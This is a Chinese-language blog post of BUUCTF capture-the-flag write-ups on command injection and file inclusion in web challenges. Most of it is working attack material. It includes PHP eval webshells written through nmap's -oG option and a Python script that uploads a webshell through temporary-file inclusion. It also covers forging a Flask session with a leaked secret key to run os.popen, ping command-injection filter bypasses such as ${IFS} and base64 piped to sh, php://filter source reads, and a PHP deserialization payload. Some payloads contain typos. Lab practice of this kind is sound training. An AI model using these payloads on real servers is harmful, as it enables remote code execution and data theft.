BUUCTF 命令执行/文件包含类型部分wp

原创

长球的鱼 已于 2022-04-07 13:43:34 修改 3664 收藏 1
分类专栏： 笔记 新人 文章标签： 网络安全 web安全 php 安全 python
于 2021-11-24 22:09:44 首次发布


笔记 同时被 2 个专栏收录
14 篇文章 0 订阅
订阅专栏


新人
10 篇文章 0 订阅
订阅专栏

BUU差不多前两页题目中的该类型题，可能会有疏漏

[网鼎杯 2020 朱雀组]Nmap

考察nmap的利用

```
选项 解释
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
```

考虑到之前另一个题
payload

```
127.0.0.1 | ' <?php @eval($_POST["hack"]);?> -oG hack.php'
```

回显hacker，经查，php被过滤，使用短标签绕过

```
' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
```

[RoarCTF 2019]Easy Calc

源代码

```
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
 <title>简单的计算器</title>

 <meta name="viewport" content="width=device-width, initial-scale=1">
 <link rel="stylesheet" href="./libs/bootstrap.min.css">
 <script src="./libs/jquery-3.3.1.min.js"></script>
 <script src="./libs/bootstrap.min.js"></script>
</head>
<body>
<div class="container text-center" style="margin-top:30px;">
 <h2>表达式</h2>
 <form id="calc">
  <div class="form-group">
   <input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">
  </div>
  <div id="result"><div class="alert alert-success">
       </div></div>
  <button type="submit" class="btn btn-primary">计算</button>
 </form>
</div>
<!--I've set up WAF to ensure security.-->
<script>
  $('#calc').submit(function(){
    $.ajax({
      url:"calc.php?num="+encodeURIComponent($("#content").val()),
      type:'GET',
      success:function(data){
        $("#result").html(`<div class="alert alert-success">
      <strong>答案:</strong>${data}
      </div>`);
      },
      error:function(){
        alert("这啥?算不来!");
      }
    })
    return false;
  })
</script>
</body></html>
```

审计发现其他源码

calc.php

```
<?php
error_reporting(0);
if(!isset($_GET['num'])){
  show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $str)) {
            die("what are you want to do?");
        }
    }
    eval('echo '.$str.';');
}
?>
```

分析一下，传一个名为num的参数，黑名单过滤，推测是waf，过滤了特殊字符，尝试发现存在字符也会被直接过滤
经过以前的刷题经验与之前的例题

在传参数之间加一个空格即可绕过

例如

```
? num=phpinfio(); 这样可以进行绕过
```

我们构造payload读取目录

```
? num=var_dump(scandir(chr(47)))
```

/被过滤了，我们使用ascii码将其替换
发现f1agg文件，猜测其在该文件下面

```
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
```

[watevrCTF-2019]Supercalc

进去类似一个计算机，没有发现啥重要信息

但发现flask的cookie是可以解密的，以便于以后解码

```
from itsdangerous import *
# 从浏览器中复制过来的cookie值
session_str = 'eyJoaXN0b3J5IjpbeyJjb2RlIjoiOCArIDgifV19.YWVqgg.5F1LP-yW42v1QNzciIA26U2PvUE'
data, timestamp, secret = session_str.split('.')
print(base64_decode(data))
```

前提是itsdangerous模块已经安装
解码后发现是我们之前进行的计算题

联想到是否能够伪造cookie

看其他人解密过程就是伪造找到key才能伪造cookie

经过测试发现存在ssti

```
Traceback (most recent call last): File "somewhere", line something, in something result = 1/0 ZeroDivisionError: division by zero
```

测试
1/0{{1+1}}

还是错报

那么我们把后面的{{1+1}}注释掉再试一试 //没有想到

之后就会显示把1+1算出来了

接下来我们尝试读取

{{config}}

找到key

```
SECRET_KEY&amp;#39;: &amp;#39;cded826a1e89925035cc05f0907855f7&amp;#39
```

伪造session有两种方法
1.flask_session_manager

用命令伪造

2.脚本

```
from flask.sessions import SecureCookieSessionInterface
secret_key = "cded826a1e89925035cc05f0907855f7"
class FakeApp:
    secret_key = secret_key

fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    {"history": [{"code": '__import__("os").popen("ls ").read()'}]}
)
print(cookie)
```

的出来

```
eyJoaXN0b3J5IjpbeyJjb2RlIjp7IiBiIjoiWDE5cGJYQnZjblJmWHlnaWlzTWlLUzV3YjNCbGJpZ2liSE1nSWlrdWNtVmhaQ2dwln19XX0.YWVzyw.bdZtdqwmEog7NQLZU946PDCJ-AQ
```

修改之后f12 application里修改session值刷新页面
就会爆出来目录，发现有flag.txt。于是进一步读取

```
"{'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}"
```

就会出现flag
本题要点：

1.flask cookie解密发现漏洞

2.找模板注入点伪造session尝试注入

BUU LFI COURSE 1

file=/flag

直接出flag

[NPUCTF2020]ezinclude

贴一个博客，讲的很详细

> https://www.icode9.com/content-4-886902.html

考点一是要传入一个name与pass，其md5加密后要相等

抓包后会显示一个hash值，其为name的md5加密后的值，我们将其赋值给pass即可绕过

之后会显示/fllflflag.php

进入后便是一个文件包含

```
include($_GET["file"])
```

用伪协议查看一下源码

```
/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
```

出来后

```
PGh0bWw+CjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmPSI0MDQuaHRtbCI7Cjwvc2NyaXB0Pgo8dGl0bGU+dGhpc19pc19ub3RfZmw0Z19hbmRfRX2dpcmxmcmllbmQ8L3RpdGxlPgo8L2hlYWQ+Cjw+CjxodG1sPgo8P3BocAokZmlsZT0kX0dFVFsnZmlsZSddOwppZihwcmVnX21hdGNoKCcvZGF0YXxpbnB1dHx6aXAvaXMnLCRmaWxlKSl7CiBkaWUoJ25vbm9ubycpOwp9CkBpbmNsdWRlKCRmaWxlKTsKZWNobyAnaW5jbHVkZSgkX0dFVFsiZmlsZSJdKSc7Cj8+CjwvaHRtbD4=include($_GET["file"])
```

base64解码

```
<html>
<head>
<script language="javascript" type="text/javascript">
        window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
 die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
```

可以看见过滤了data/input/zip协议，data://,php://input都是不可用的

> https://blog.51cto.com/u_15127698/3324977 #解释了为什么不能用

这里用到php临时文件的知识点

> 在上传文件时，如果出现Segment Fault，那么上传的临时文件不会被删除。这里的上传文件需要说明一下，一般认为，上传文件需要对应的功能点，但实际上，无论是否有文件上传的功能点，只要HTTP请求中存在文件，那么就会被保存为临时文件，当前HTTP请求处理完成后，垃圾回收机制会自动删除临时文件。
>
> > 使php陷入死循环直，产生Segment Fault的方法：（具体原理未找到，如果有大佬清楚，请告知，感谢。）
> > 使用php://filter/string.strip_tags/resource=文件
> > 版本要求：
> > php7.0.0-7.1.2
> > php7.1.3-7.2.1
> > php7.2.2-7.2.8
> > 使用php://filter/convert.quoted-printable-encode/resource=文件
> > 版本要求：
> > php<=5.6.38
> > php7.0.0-7.0.32
> > php7.0.4-7.2.12
> > 函数要求
> > file
> > file_get_contents
> > readfile

这里只能使用string.strip_tags，可以通过以下脚本上传文件

```
import requests
from io import BytesIO



payload = "<?php eval($_POST['x']);?>"
file_data = {'file': BytesIO(payload.encode())}
url="url/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
response = requests.post(url=url, files=file_data, allow_redirects=False)
print(response)
```

关于临时文件，可以简单说几句

> 存储路径，由php.ini中的upload_tmp_dir指定，
> linux下默认值/tmp/
> windwos下默认值C:/Windwos or C:/Windwos/Temp/
> 命名规则
> linux下，php+6个随机字符
> windows下，php+4个随机字符.tmp
> 生命周期
> 开始处理带有文件的POST请求
> 保存临时文件，并写入数据
> 执行php脚本
> 删除临时文件

接下来我们扫描目录，我们会扫描到一个dir.php文件

```
array(2) { [0]=> string(1) "." [1]=> string(2) ".." }
```

这里考察的是PHP临时文件包含，其基本是两种情况：

1. 利用能访问的phpinfo页面，对其一次发送大量数据造成临时文件没有及时被删除
2. PHP版本<7.2，利用php崩溃留下临时文件

py脚本上传shell

```
import requests
from io import BytesIO

payload = "<?php phpinfo()?>"
file_data = {
    'file': BytesIO(payload.encode())
}
url = "http://f6a351b3-c226-4aab-b5a7-1c72236efcc6.node4.buuoj.cn/flflflflag.php?"\
      +"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
```

尝试读取

```
/flflflflag.php?file=../../../../tmp/php6Xn50O
```

找到flag

```
flag{67fdf760-9169-4f7e-95e0-dc1a0dba0c66}
```

参考博客

> https://blog.51cto.com/u_15127698/3324977
> https://blog.csdn.net/qq_46263951/article/details/118884227

[Windows]LFI2019

是用不含数字和字母的webshell。

- 思路一：两个非字母、数字的字符进行异或得到结果
- 思路二：利用位运算里的取反，利用UTF-8的某个汉字

思路三：借助PHP的一个小技巧，也就是说，`'a'++ => 'b'`，`'b'++ => 'c'`... 所以，我们只要能拿到一个变量，其值为`a`，通过自增操作即可获得a-z中所有字符。

那么，如何拿到一个值为字符串'a'的变量呢？

巧了，数组（Array）的第一个字母就是大写A，而且第4个字母是小写a。也就是说，我们可以同时拿到小写和大写A，等于我们就可以拿到a-z和A-Z的所有字母。

- 在PHP中，如果强制连接数组和字符串的话，数组将被转换成字符串，其值为`Array`

> 总结博客：https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

[RCTF2019]calcalcalc

题目给出了源码，我们先进行审计

```
python
from flask import Flask, request
import bson
import json
import datetime

app = Flask(__name__)



@app.route("/", methods=["POST"])
def calculate():
    data = request.get_data()
    expr = bson.BSON(data).decode()
    if 'exec' in dir(__builtins__):
        del __builtins__.exec
    return bson.BSON.encode({
        "ret": str(eval(str(expr['expression'])))
    })



if __name__ == "__main__":
    app.run("0.0.0.0", 80)
```

php

```
<?php
ob_start();
$input = file_get_contents('php://input');
$options = MongoDB\BSON\toPHP($input);
$ret = eval('return ' . (string) $options->expression . ';');
echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);
```

加的限制

```
disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log
max_execution_time = 1
```

node.js

```
const express = require('express')
const bson = require('bson')
const bodyParser = require('body-parser')
const cluster = require('cluster')
const app = express()

if (cluster.isMaster) {
  app.use(bodyParser.raw({ inflate: true, limit: '10kb', type: '*/*' }))

  app.post('/', (req, res) => {
    const body = req.body
    const data = bson.deserialize(Buffer.from(body))
    const worker = cluster.fork()
    worker.send(data.expression.toString())
    worker.on('message', (ret) => {
      res.write(bson.serialize({ ret: ret.toString() }))
      res.end()
    })
    setTimeout(() => {
      if (!worker.isDead()) {
        try {
          worker.kill()
        } catch (e) {
        }
      }
      if (!res._headerSent) {
        res.write(bson.serialize({ ret: 'timeout' }))
        res.end()
      }
    }, 1000)
  })

  app.listen(80, () => {
    console.log('Server created')
  })

} else {

  (function () {
    const Module = require('module')
    const _require = Module.prototype.require
    Module.prototype.require = (arg) => {
      if (['os', 'child_process', 'vm', 'cluster'].includes(arg)) {
        return null
      }
      return _require.call(_require, arg)
    }
  })()

  process.on('message', msg => {
    const ret = eval(msg)
    process.send(ret)
    process.exit(0)
  })

}
```

属实复杂，我们慢慢看，总体来说使用了三种后端：nodejs、php、python
原理很清晰，我们input的参数，会分别进入3种后端进行执行，如果3种后端最后的返回值不同，那么则认定为无效，会做一些处理。如果返回值一致，认定为安全，则将执行结果返回

我们先测试一下直接输入字符会发现提示非法信息

而正常的运算则会出结果

> **That’s classified information. - Asahina Mikuru**

限制

```
del __builtins__.exec
```

直接eval参数

```
return bson.BSON.encode({
    "ret": str(eval(str(expr['expression'])))
})
```

还限制了响应时间
php也是直接命令执行

最后的nodejs由于看不太懂，从wp里找了一段

做出了时间限制和一些过滤,并且也会直接执行参数

总结下来，都直接eval参数，设置了时间限制，过滤了一些函数

至于怎么利用，属实没太想到

wp写的是

> **https://skysec.top/2017/12/29/Time-Based-RCE/**

> https://skysec.top/2019/05/18/2019-RCTF-Web-Writeup/#%E6%94%BB%E5%87%BB%E6%80%9D%E8%80%83

因为我们无法得到命令执行回显，但可以得到网页执行的时间。

简单思考一下，前端做出的响应，一定是在3种后端都执行完毕后才进行响应。那么整个响应时间就会由3种后端，响应速度最慢的一个决定。那么我们是否可以只关注其中一个后端，让他的响应时间变为立即响应 / 延时5s响应，那么整个前端的时间就会变成立即响应 / 延时5s响应，那么我们就能通过前端的响应时间，来判断其中某个后端的执行结果是否成功

测试发现

我可以通过sleep函数成功控制响应时间。随机我马上测试了一下，判断这是哪个后端产生的问题

后补

[GXYCTF2019]Ping Ping Ping

```
开局只有个/?ip=
```

F12查看下，啥都没有，于是我们尝试PING一下//所谓的PING命令其实就是用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包，再根据返回的信息，就可以推断TCP/IP参数是否设置正确，以及运行是否正常、网络是否通畅等。
于是尝试随便PING一下

```
http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2
返回PING 2 (0.0.0.2): 56 data bytes  、、成功了
```

不知该干啥了试试用ls查下目录

```
http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2;ls
出了flag.php
index.php
```

尝试cat flag.php

```
http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2;cat%20flag.php
```

返回/?ip= fxck your space!
此路不通，空格被过滤了，

```
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
```

第一个

```
/?ip= 1fxck your symbol!  、、符号被过滤了
```

第二个

```
/?ip= fxck your flag!   //明flag被过滤了咋搞
```

此路不通，看一看index.php

```
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}
?>
```

bash也被过滤
被过滤的bash，用管道+sh替换

cat flag.php用base64加密来绕过正则匹配

Y2F0IGZsYWcucGhw

?ip=127.0.0.1;echoIFS1Y2F0IGZsYWcucGhw|base64IFS1-d|bash

```
//?ip= fxck your bash!
```

过滤了flag、bash，但sh没过滤，linux下可用sh

?ip=127.0.0.1;echoIFS1Y2F0IGZsYWcucGhw|base64IFS1-d|sh

```
1
```

|sh 就是执行前面的echo脚本

```
?ip=2;a=g;cat$IFS$1fla$a.php;  flag{ae5f2e24-33a3-4763-adec-ba1b08b271e8}
方法2：echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh    //管道符，base64echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
```

其它绕过方法就不讲了
内敛绕过

```
内敛绕过
内联，就是将反引号内命令的输出作为输入执行。
?ip=127.0.0.1;cat$IFS$1`ls`
```

[ACTF2020 新生赛]Exec

开局给了个ping框，我们试一试ping本地127.0.0.1

ping成功，接下来我们试一试用ls查看下

```
127.0.0.1&ls
```没有flag，所以猜测不在该目录下

那我们试一试上级目录

```plain
127.0.0.1&ls ../    //还是没有，所以继续
```

加了三个之后发现flag

```
127.0.0.1&ls ../../../
```

我们尝试查看

```
127.0.0.1&cat ../../../flag
```

直接出了flag

[ZJCTF 2019]NiZhuanSiWei

```php
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit();
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
```

首先第一个绕过是将传入的text参数到file_get_contents且返回welcome to the zjctf
网上搜索到可以利用data伪协议来确定返回的值

于是我们构造

```
将url改为：?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
```

下一个绕过正则匹配，传入file的值不能包含flag，所以文件包含读取flag时行不通的，由于给出了useless.php所以我们尝试读取一下·1
直接读取不出来，我们尝试一下php://filter协议

```
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
```
对其进行base64解码

```plain
<?php

class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
```

为了绕过toString，我们直接将file值确定为flag.php

```
<?php

class Flag{  //flag.php
    public $file='flag.php;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
        $password=new Flag();
$password = serialize($password);
echo $password;
?>
```

本地执行一下

```
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

然后我们构造payload

```
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

但不知是哪出错了，后来经搜查发现，由于第二个绕过有文件包含不用再加php://filter协议了
所以构造payload

```
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

f12发现flag

```
flag{f8a1e67b-9064-46cd-a815-fb83d6d8082b}
```

[BSidesCF 2020]Had a bad day

```
        Did you have a bad day? Did things not go your way  today? Are you feeling down? Pick an option and let the adorable images  cheer you up!
```

让我们点个按钮 我点了woofers就出现了狗的图片

url改变了

```
http://86b37400-14fd-48b0-a1aa-162fc1a54d84.node4.buuoj.cn:81/index.php?category=woofers
```

有点像文件包含类型的漏洞，我们试一试php伪协议

```
http://86b37400-14fd-48b0-a1aa-162fc1a54d84.node4.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=index.php
```

不知为啥错报了
后来测试了下不加php后缀可以

PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGU
iIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8b
WV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2Fs
ZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL21hdGVyaWFs
Lm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3Mvc3R5bGUuY3NzIj4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZG
l2IGNsYXNzPSJwYWdlLWxheW91dCBtZGwtbGF5b3V0IG1kbC1sYXlvdXQtLWZpeGVkLWhlYWRlciBtZGwtanMtbGF5b3V0IG1kbC1jb2xvci0tZ3Jl
eS0xMDAiPgogICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciBtZGwtbGF5b3V0X19oZWFkZXIgbWRsLWxheW91dF9faGVhZGVyLS1zY
3JvbGwgbWRsLWNvbG9yLS1ncmV5LTEwMCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAiPgogICAgICAgIDxkaXYgY2xhc3M9Im1kbC1sYXlvdXRfX
2hlYWRlci1yb3ciPgogICAgICAgICAgPHNwYW4gY2xhc3M9Im1kbC1sYXlvdXQtdGl0bGUiPkhhZCBhIGJhZCBkYXk/PC9zcGFuPgogICAgICAgICAg
PGRpdiBjbGFzcz0ibWRsLWxheW91dC1zcGFjZXIiPjwvZGl2PgogICAgICAgIDxkaXY+CiAgICAgIDwvaGVhZGVyPgogICAgICA8ZGl2IGNsYXNzPSJ
wYWdlLXJpYmJvbiI+PC9kaXY+CiAgICAgIDxtYWluIGNsYXNzPSJwYWdlLW1haW4gbWRsLWxheW91dF9fY29udGVudCI+CiAgICAgICAgPGRpdi
BjbGFzcz0icGFnZS1jb250YWluZXIgbWRsLWdyaWQiPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWNlbGwgbWRsLWNlbGwtLTItY29sIG1kbC
1jZWxsLS1oaWRlLXRhYmxldCBtZGwtY2VsbC0taGlkZS1waG9uZSI+PC9kaXY+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQgbW
RsLWNvbG9yLS13aGl0ZSBtZGwtc2hhZG93LS00ZHAgY29udGVudCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAgbWRsLWNlbGwgbWRsLWNlbG
wtLTgtY29sIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jcnVtYnMgbWRsLWNvbG9yLXRleHQtLWdyZXktNTAwIj4KICAgICAgICAgICAgPC
9kaXY+CiAgICAgICAgICAgIDxoMz5DaGVlciB1cCE8L2gzPgogICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgRGlkIHlvdSBoYXZlIGEgYmF
kIGRheT8gRGlkIHRoaW5ncyBub3QgZ28geW91ciB3YXkgdG9kYXk/IEFyZSB5b3UgZmVlbGluZyBkb3duPyBQaWNrIGFuIG9wdGlvbiBhbmQgbG
V0IHRoZSBhZG9yYWJsZSBpbWFnZXMgY2hlZXIgeW91IHVwIQogICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYW
dlLWluY2x1ZGUiPgogICAgICAgICAgICAgIDw/cGhwCgkJCQkkZmlsZSA9ICRfR0VUWydjYXRlZ29yeSddOwoKCQkJCWlmKGlzc2V0KCRmaWxlKS
kKCQkJCXsKCQkJCQlpZiggc3RycG9zKCAkZmlsZSwgIndvb2ZlcnMiICkgIT09ICBmYWxzZSB8fCBzdHJwb3MoICRmaWxlLCAibWVvd2VycyIgKSA
hPT0gIGZhbHNlIHx8IHN0cnBvcyggJGZpbGUsICJpbmRleCIpKXsKCQkJCQkJaW5jbHVkZSAoJGZpbGUgLiAnLnBocCcpOwoJCQkJCX0KCQkJCQ
lbHNlewoJCQkJCQllY2hvICJTb3JyeSwgd2UgY3VycmVudGx5IG9ubHkgc3VwcG9ydCB3b29mZXJzIGFuZCBtZW93ZXJzLiI7CgkJCQkJfQoJCQkJf
QoJCQkJPz4KCQkJPC9kaXY+CiAgICAgICAgICA8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJnZXQiIGlkPSJjaG9pY2UiPgogICAgIC
AgICAgICAgIDxjZW50ZXI+PGJ1dHRvbiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2hvaWNlJykuc3VibWl0KCk7IiBuYW1lPSJ
jYXRlZ29yeSIgdmFsdWU9Indvb2ZlcnMiIGNsYXNzPSJtZGwtYnV0dG9uIG1kbC1idXR0b24tLWNvbG9yZWQgbWRsLWJ1dHRvbi0tcmFpc2VkIG1k
bC1qcy1idXR0b24gbWRsLWpzLXJpcHBsZS1lZmZlY3QiIGRhdGEtdXBncmFkZWQ9IixNYXRlcmlhbEJ1dHRvbixNYXRlcmlhbFJpcHBsZSI+V29vZm
VyczxzcGFuIGNsYXNzPSJtZGwtYnV0dG9uX19yaXBwbGUtY29udGFpbmVyIj48c3BhbiBjbGFzcz0ibWRsLXJpcHBsZSBpcy1hbmltYXRpbmciIHN0e
WxlPSJ3aWR0aDogMTg5LjM1NnB4OyBoZWlnaHQ6IDE4OS4zNTZweDsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSkgdHJhbnNsY
XRlKDMxcHgsIDI1cHgpOyI+PC9zcGFuPjwvc3Bhbj48L2J1dHRvbj4KICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImRvY3VtZW50LmdldEVs
ZW1lbnRCeUlkKCdjaG9pY2UnKS5zdWJtaXQoKTsiIG5hbWU9ImNhdGVnb3J5IiB2YWx1ZT0ibWVvd2VycyIgY2xhc3M9Im1kbC1idXR0b24gbWRs
LWJ1dHRvbi0tY29sb3JlZCBtZGwtYnV0dG9uLS1yYWlzZWQgbWRsLWpzLWJ1dHRvbiBtZGwtanMtcmlwcGxlLWVmZmVjdCIgZGF0YS11cGdyYW
RlZD0iLE1hdGVyaWFsQnV0dG9uLE1hdGVyaWFsUmlwcGxlIj5NZW93ZXJzPHNwYW4gY2xhc3M9Im1kbC1idXR0b25fX3JpcHBsZS1jb250YWluZ
XIiPjxzcGFuIGNsYXNzPSJtZGwtcmlwcGxlIGlzLWFuaW1hdGluZyIgc3R5bGU9IndpZHRoOiAxODkuMzU2cHg7IGhlaWdodDogMTg5LjM1NnB4OyB
0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGUoMzFweCwgMjVweCk7Ij48L3NwYW4+PC9zcGFuPjwvYnV0dG9uPjwvY
2VudGVyPgogICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAg
IDxzY3JpcHQgc3JjPSJqcy9tYXRlcmlhbC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg==

解码

```
<?php
   $file = $_GET['category'];
   if(isset($file))
   {
    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
     include ($file . '.php');
    }
    else{
     echo "Sorry, we currently only support woofers and meowers.";
    }
   }
   ?>
```

让我们传个参数，并且参数里含有insex,meowers,woofers
?category=woofers/…/flag

F12有变化，成功包含

php://filter伪协议嵌套，套一层要求的$file

php://filter/read=convert.base64-encode/woofers/resource=flag

```
PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKlC8vlGZsYWd7MjVkMDQ5NjctYzAyYS00YjJiLTgwNDktNWU5NDMwNTc3NTE3fQo/Pgo=
flag{25d04967-c02a-4b2b-8049-5e9430577517}
```

[极客大挑战 2019]Secret File

打开发现就是一个网页，没啥提示，所以F12查看一下

发现提示

```
http://d69343e1-7e99-4108-8556-da4ba3e79eb4.node4.buuoj.cn/Archive_room.php
```

根据所说的提示，怀疑跳转时有啥秘密，用BP抓下包

发现秘密

```
<html>
<!--
    secr3t.php
-->
</html>
```

打开这个PHP文件

```
<html>
  <title>secret</title>
  <meta charset="UTF-8">
<?php
  highlight_file(__FILE__);
  error_reporting(0);
  $file=$_GET['file'];
  if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    echo "Oh no!";
    exit();
  }
  include($file);
//flag放在了flag.php里
?>
</html>
```

尝试访问下flag.php
弹出个网页说我就在这里，此路行不通

那我们看代码，过滤了…/,tp,input

所以我们尝试下file伪协议进行文件读取

构造payload

```
http://d69343e1-7e99-4108-8556-da4ba3e79eb4.node4.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
```

出了个BASE64解码

```
$flag = 'flag{e7cb31bd-65b9-42fb-a0f5-87e831710500}';
        $secret = 'jiAng_Luyuan_w4nts_a_g1rlfri3nd'
```

[ACTF2020 新生赛]Include

题目提示了是文件包含类型的题，我们点击TIPS

Can you find out the flag?

考虑到flag藏在flag.php里

我们要读取源码，联想到之前学习时文件包含中对伪协议的利用构造payload

```
?file=php://filter/read=convert.base64-encode/resource=flag.php
```

得出了

```
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MjA5ZGNmZmMtOTVkNy00NTM5LTg4YmMtZGU4ZjJkMWM4MDQ3fQo=
```

直接base64转码

```
flag{209dcffc-95d7-4539-88bc-de8f2d1c8047}
```